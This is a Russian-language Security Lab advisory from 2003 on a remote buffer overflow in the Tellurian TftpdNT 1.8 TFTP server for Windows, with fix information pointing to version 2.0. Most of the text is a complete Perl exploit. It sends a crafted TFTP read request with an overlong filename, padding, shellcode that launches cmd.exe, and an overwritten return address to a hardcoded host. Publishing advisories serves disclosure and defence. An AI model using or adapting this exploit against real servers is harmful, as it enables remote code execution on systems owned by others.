Security Lab

Удаленное переполнение буфера в Tellurian TftpdNT TFTP сервере

Дата публикации:27.08.2003
Всего просмотров:1084
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание: Переполнение буфера обнаружено в Tellurian TftpdNT – TFTP сервер для Windows систем. Удаленный атакующий может выполнить произвольный код на системе.

Удаленный пользователь может запросить файл, с чрезмерно длинным именем, чтобы выполнить произвольный код на уязвимом сервере. Эксплоит:

#!/usr/bin/perl -w 
#Tellurian TFTP Server buffer overflow vulnerability 
 
use IO::Socket; 
$host = "192.168.1.44"; 
$port = "69"; 
 
$shellcode = "\x90\xCC\x90\x90\x90\x90\x8B\xEC\x55\x8B\xEC\x33\ 
\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\ 
\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\ 
\x45\xFE\x65\xB8\xC3\xAF\x01\x78\x50\x8D\x45\xF8\x50\xFF\x55\xF4\x5F"; 
 
$buf = "\x00\x02"; 
$buf .= "\x41"x(508-length($shellcode)); 
$buf .= $shellcode; 
$buf .= "\x0F\x02\xC7"; # EIP 
$buf .= "\x00\x6E\x65\x74\x61\x73\x63\x69\x69\x00"; 
 
print "Length: ", length($buf), "\n"; 
 
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: 
$@\n"; 
$ipaddr = inet_aton($host) || $host; 
$portaddr = sockaddr_in($port, $ipaddr); 
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: 
$!\n"; 
print "Done\n";
Уязвимость обнаружена в Tellurian TftpdNT 1.8 Для устранения уязвимости, установите обновленную версию программы (2.0), которую можно скачать отсюда:

http://www.tellurian.com.au/

Ссылки: Security Vulnerability in Tellurian TftpdNT (Long Filename)